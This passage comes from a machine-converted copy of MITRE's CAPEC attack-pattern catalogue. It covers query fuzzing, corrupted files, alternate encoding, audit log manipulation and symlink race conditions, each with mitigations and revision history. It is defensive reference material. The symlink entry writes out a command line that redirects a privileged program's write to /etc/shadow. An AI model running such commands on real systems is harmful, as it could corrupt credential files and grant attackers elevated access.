the expected set of queries should provide.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Many client applications use specific query templates when interacting with a server and often automatically fill in specific fields or attributes. If the server does not verify that the query matches one of the expected templates, an adversary who is allowed to send normal queries could modify their query to try to return additional information. The adversary may not know the names of fields to request or how other modifications will affect the server response, but by attempting multiple plausible variants, they might eventually trigger a server response that divulges sensitive information. Other possible outcomes include server crashes and resource consumption if the unexpected queries cause the server to enter an unstable state or perform excessive computation.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14660 + Related_Attack_Pattern_14660 + + + + + + + + + + + + + + 54 + + + + + + + + + + + + #indAttackStepAttackStep14663 + Attack_Step_14663 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Observe communication and inputs] The fuzzing adversary observes the target system looking for inputs and communications between modules, subsystems, or systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Network sniffing. Using a network sniffer such as wireshark, the adversary observes communications into and out of the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the adversary observes the system calls and API calls that are made by the target system, and the nature of their parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14671 + Attack_Step_14671 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Generate fuzzed inputs] Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14678 + Attack_Step_14678 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Observe the outcome] Observe the outputs to the inputs fed into the system by fuzzers and see if there are any log or error messages that either provide user/sensitive data or give information about an expected template that could be used to produce this data.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14683 + Attack_Step_14683 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft exploit payloads] If the logs did not reveal any user/sensitive data, an adversary will attempt to make the fuzzing inputs form to an expected template</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create variants of expected templates that request additional information</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create variants that exclude limiting clauses</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create variants that alter fields taht identify the requester in order to subvert access controls</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Repeat different fuzzing variants until sensitive information is divulged</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The server must assume that the queries it receives follow specific templates and/or have fields or attributes that follow specific procedures. The server must process queries that it receives without adequately checking or sanitizing queries to ensure they follow these templates.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have sufficient privileges to send queries to the targeted server. A normal client might limit the nature of these queries, so the attacker must either have a modified client or their own application which allows them to modify the expected queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A client that queries an employee database might have templates such that the user only supplies the target's name and the template dictates the fields to be returned (location, position in the company, phone number, etc.). If the server does not verify that the query matches one of the expected templates, an attacker who is allowed to send normal queries could modify their query to try to return additional information. For this example, additional information might include social security numbers or salaries.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 20 + + + + + + + + + + + + #indContentHistoryContentHistory14707 + Content_History_14707 + + + + + + + + + + + + + + + + #indSubmissionSubmission14708 + Submission_14708 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14713 + Modification_14713 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14719 + Modification_14719 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14725 + Modification_14725 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification14731 + Modification_14731 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification14737 + Modification_14737 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-263 + Force Use of Corrupted Files + + + + + + + + + 263 + + + + + Force Use of Corrupted Files + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This describes an attack where an application is forced to use a file that an attacker has corrupted. The result is often a denial of service caused by the application being unable to process the corrupted file, but other results, including the disabling of filters or access controls (if the application fails in an unsafe way rather than failing by locking down) or buffer overflows are possible.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14750 + Related_Attack_Pattern_14750 + + + + + + + + + + + + + + 17 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must utilize a configuration file that an attacker is able to corrupt. In some cases, the attacker must be able to force the (re-)reading of the corrupted file if the file is normally only consulted at startup.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The severity of the attack hinges on how the application responds to the corrupted file. If the application detects the corruption and locks down, this may result in the denial of services provided by the application. If the application fails to detect the corruption, the result could be a more severe denial of service (crash or hang) or even an exploitable buffer overflow. If the application detects the corruption but fails in an unsafe way, this attack could result in the continuation of services but without certain security structures, such as filters or access controls. For example, if the corrupted file configures filters, an unsafe response from an application could result in simply disabling the filtering mechanisms due to the lack of usable configuration data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This varies depending on the resources necessary to corrupt the configuration file and the resources needed to force the application to re-read it (if any).</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indContentHistoryContentHistory14762 + Content_History_14762 + + + + + + + + + + + + + + + + #indSubmissionSubmission14763 + Submission_14763 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14768 + Modification_14768 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14774 + Modification_14774 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-264 + DEPRECATED: Environment Variable Manipulation + + + + + + + + + 264 + + + + + DEPRECATED: Environment Variable Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-13 : Subverting Environment Variable Values". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14786 + Content_History_14786 + + + + + + + + + + + + + + + + #indSubmissionSubmission14787 + Submission_14787 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14792 + Modification_14792 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14798 + Modification_14798 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14804 + Previous_Entry_Name_14804 + + + + + + + + + 2017-05-01 + + + + + Environment Variable Manipulation + + + + + + + + + + + + #CAPEC-265 + DEPRECATED: Global variable manipulation + + + + + + + + + 265 + + + + + DEPRECATED: Global variable manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-77 : Manipulating User-Controlled Variables". Please refer to this other CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14810 + Content_History_14810 + + + + + + + + + + + + + + + + #indSubmissionSubmission14811 + Submission_14811 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14816 + Modification_14816 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14822 + Modification_14822 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14828 + Previous_Entry_Name_14828 + + + + + + + + + 2017-05-01 + + + + + Global variable manipulation + + + + + + + + + + + + #CAPEC-266 + DEPRECATED: Manipulate Canonicalization + + + + + + + + + 266 + + + + + DEPRECATED: Manipulate Canonicalization + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory14834 + Content_History_14834 + + + + + + + + + + + + + + + + #indSubmissionSubmission14835 + Submission_14835 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14840 + Modification_14840 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14846 + Modification_14846 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName14852 + Previous_Entry_Name_14852 + + + + + + + + + 2017-05-01 + + + + + Manipulate Canonicalization + + + + + + + + + + + + #CAPEC-267 + Leverage Alternate Encoding + + + + + + + + + 267 + + + + + Leverage Alternate Encoding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14861 + Related_Attack_Pattern_14861 + + + + + + + + + + + + + + 153 + + + + + + + + + + + + #indAttackStepAttackStep14864 + Attack_Step_14864 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inspect the application to find entry points.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14873 + Attack_Step_14873 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe entry points to locate vulnerabilities] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads using a variety of different types of encodings to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Try to use different encodings of content in order to bypass validation routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application's decoder accepts and interprets encoded characters. Data canonicalization, input filtering and validating is not done properly leaving the door open to harmful characters for the target host.</xhtml:div> + + + + + + + + + + + + #indSkillSkill14884 + Skill_14884 + + + + + + + + + + + + + + An adversary can inject different representation of a filtered character in a different encoding. + + + + + + + + + + + + #indSkillSkill14885 + Skill_14885 + + + + + + + + + + + + + + An adversary may craft subtle encoding of input data by using the knowledge that they have gathered about the target host. + + + + + + + + + + + + #indConsequenceConsequence14888 + Consequence_14888 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence14892 + Consequence_14892 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence14896 + Consequence_14896 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence14901 + Consequence_14901 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence14908 + Consequence_14908 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence14913 + Consequence_14913 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input might use an improper representation. Use canonicalized data inside the application; all data must be converted into the representation used inside the application (UTF-8, UTF-16, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist should not be permitted to enter into the system. Test your decoding process against malicious input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Microsoft Internet Explorer 5.01 SP4, 6, 6 SP1, and 7 does not properly handle unspecified "encoding strings," which allows remote adversaries to bypass the Same Origin Policy and obtain sensitive information via a crafted web site, aka "Post Encoding Information Disclosure Vulnerability." Related Vulnerabilities CVE-2010-0488</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.</xhtml:div> + + + + + 173 + + + + + 172 + + + + + 180 + + + + + 181 + + + + + 73 + + + + + 74 + + + + + 20 + + + + + 697 + + + + + 692 + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformation + Obfuscated Files or Information + + + + + + + + + + + + + + 1027 + + + + + Obfuscated Files or Information + + + + + + + + + + + + #indReferenceReference14946 + Reference_14946 + + + + + + + + + REF-108 + + + + + WASC-20 - Improper Input Handling + + + + + + + + + + + + #indReferenceReference14947 + Reference_14947 + + + + + + + + + REF-109 + + + + + Category: Encoding + + + + + + + + + + + + #indReferenceReference14948 + Reference_14948 + + + + + + + + + REF-110 + + + + + Canonicalization, locale and Unicode + + + + + + + + + + + + #indReferenceReference14950 + Reference_14950 + + + + + + + + + REF-69 + + + + + XSS (Cross Site Scripting) Prevention Cheat Sheet + + + + + + + + + + + + #indReferenceReference14952 + Reference_14952 + + + + + + + + + REF-112 + + + + + Chapter 5 Section 9: Character Encoding + + + + + + + + + + + + #indReferenceReference14953 + Reference_14953 + + + + + + + + + REF-113 + + + + + Character encoding + + + + + + + + + + + + #indReferenceReference14954 + Reference_14954 + + + + + + + + + REF-114 + + + + + + + + + + + + #indContentHistoryContentHistory14956 + Content_History_14956 + + + + + + + + + + + + + + + + #indSubmissionSubmission14957 + Submission_14957 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14962 + Modification_14962 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification14968 + Modification_14968 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, References + + + + + + + + + + + + #indModificationModification14974 + Modification_14974 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification14980 + Modification_14980 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification14986 + Modification_14986 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification14992 + Modification_14992 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14998 + Modification_14998 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Execution_Flow, Skills_Required + + + + + + + + + + + + #indModificationModification15004 + Modification_15004 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-268 + Audit Log Manipulation + + + + + + + + + 268 + + + + + Audit Log Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker injects, manipulates, deletes, or forges malicious log entries into the log file, in an attempt to mislead an audit of the log file or cover tracks of an attack. Due to either insufficient access controls of the log files or the logging mechanism, the attacker is able to perform such actions.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15015 + Related_Attack_Pattern_15015 + + + + + + + + + + + + + + 161 + + + + + 512 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host is logging the action and data of the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host insufficiently protects access to the logs or logging mechanisms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attacker must understand how the logging mechanism works.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Optionally, the attacker must know the location and the format of individual entries of the log files.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 117 + + + + + + + + + + + + #indTaxonomyMappingIndicatorRemovalOnHost + Indicator Removal on Host + + + + + + + + + + + + + + 1070 + + + + + Indicator Removal on Host + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableWindowsEventLogging + Impair Defenses: Disable Windows Event Logging + + + + + + + + + + + + + + 1562.002 + + + + + Impair Defenses: Disable Windows Event Logging + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesImpairCommandHistoryLogging + Impair Defenses: Impair Command History Logging + + + + + + + + + + + + + + 1562.003 + + + + + Impair Defenses: Impair Command History Logging + + + + + + + + + + + + #indTaxonomyMappingImpairDefensesDisableCloudLogs + Impair Defenses: Disable Cloud Logs + + + + + + + + + + + + + + 1562.008 + + + + + Impair Defenses: Disable Cloud Logs + + + + + + + + + + + + #indTaxonomyMappingLogInjection + Log Injection + + + + + + + + + + + + + + Log Injection + + + + + + + + + + + + #indContentHistoryContentHistory15054 + Content_History_15054 + + + + + + + + + + + + + + + + #indSubmissionSubmission15055 + Submission_15055 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15060 + Modification_15060 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15066 + Modification_15066 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification15072 + Modification_15072 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15078 + Modification_15078 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification15084 + Modification_15084 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-269 + DEPRECATED: Registry Manipulation + + + + + + + + + 269 + + + + + DEPRECATED: Registry Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it was determined to be a duplicate of another pattern. Please refer to the pattern CAPEC-203 : Manipulate Application Registry Values going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory15095 + Content_History_15095 + + + + + + + + + + + + + + + + #indSubmissionSubmission15096 + Submission_15096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15101 + Modification_15101 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-27 + Leveraging Race Conditions via Symbolic Links + + + + + + + + + 27 + + + + + Leveraging Race Conditions via Symbolic Links + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15116 + Related_Attack_Pattern_15116 + + + + + + + + + + + + + + 29 + + + + + + + + + + + + #indAttackStepAttackStep15119 + Attack_Step_15119 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Verify that target host's platform supports symbolic links.] This attack pattern is only applicable on platforms that support symbolic links.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Research target platform to determine whether it supports symbolic links.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a symbolic link and ensure that it works as expected on the given platform.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15126 + Attack_Step_15126 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Examine application's file I/O behavior] Analyze the application's file I/O behavior to determine where it stores files, as well as the operations it performs to read/write files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use kernel tracing utility such as ktrace to monitor application behavior.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use debugging utility such as File Monitor to monitor the application's filesystem I/O calls</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Watch temporary directories to see when temporary files are created, modified and deleted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Analyze source code for open-source systems like Linux, Apache, etc.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15135 + Attack_Step_15135 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Verify ability to write to filesystem] The attacker verifies ability to write to the target host's file system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a file that does not exist in the target directory (e.g. "touch temp.txt" in UNIX-like systems)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">On platforms that differentiate between file creation and file modification, if the target file that the application writes to already exists, attempt to modify it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Verify permissions on target directory</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15143 + Attack_Step_15143 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Replace file with a symlink to a sensitive system file.] Between the time that the application checks to see if a file exists (or if the user has access to it) and the time the application actually opens the file, the attacker replaces the file with a symlink to a sensitive system file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create an infinite loop containing commands such as "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat". Wait for an instance where the following steps occur in the given order: (1) Application ensures that tempfile.dat exists and that the user has access to it, (2) "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat", and (3) Application opens tempfile.dat for writing, and inadvertently opens /etc/shadow for writing instead.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use other techniques with debugging tools to replace the file between the time the application checks the file and the time the application opens it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker is able to create Symlink links on the target host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tainted data from the attacker is used and copied to temporary files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host does insecure temporary file creation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill15157 + Skill_15157 + + + + + + + + + + + + + + This attack is sophisticated because the attacker has to overcome a few challenges such as creating symlinks on the target host during a precise timing, inserting malicious data in the temporary file and have knowledge about the temporary files created (file name and function which creates them). + + + + + + + + + + + + #indConsequenceConsequence15160 + Consequence_15160 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15164 + Consequence_15164 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15170 + Consequence_15170 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use safe libraries when creating temporary files. For instance the standard library function mkstemp can be used to safely create temporary files. For shell scripts, the system utility mktemp does the same thing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the directories should be restricted as to prevent attackers from manipulating the files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Follow the principle of least privilege when assigning access rights to files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure good compartmentalization in the system to provide protected areas that can be trusted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this naive example, the Unix program foo is setuid. Its function is to retrieve information for the accounts specified by the user. For "efficiency," it sorts the requested accounts into a temporary file (/tmp/foo naturally) before making the queries.&lt;/xhtml:p&gt; + 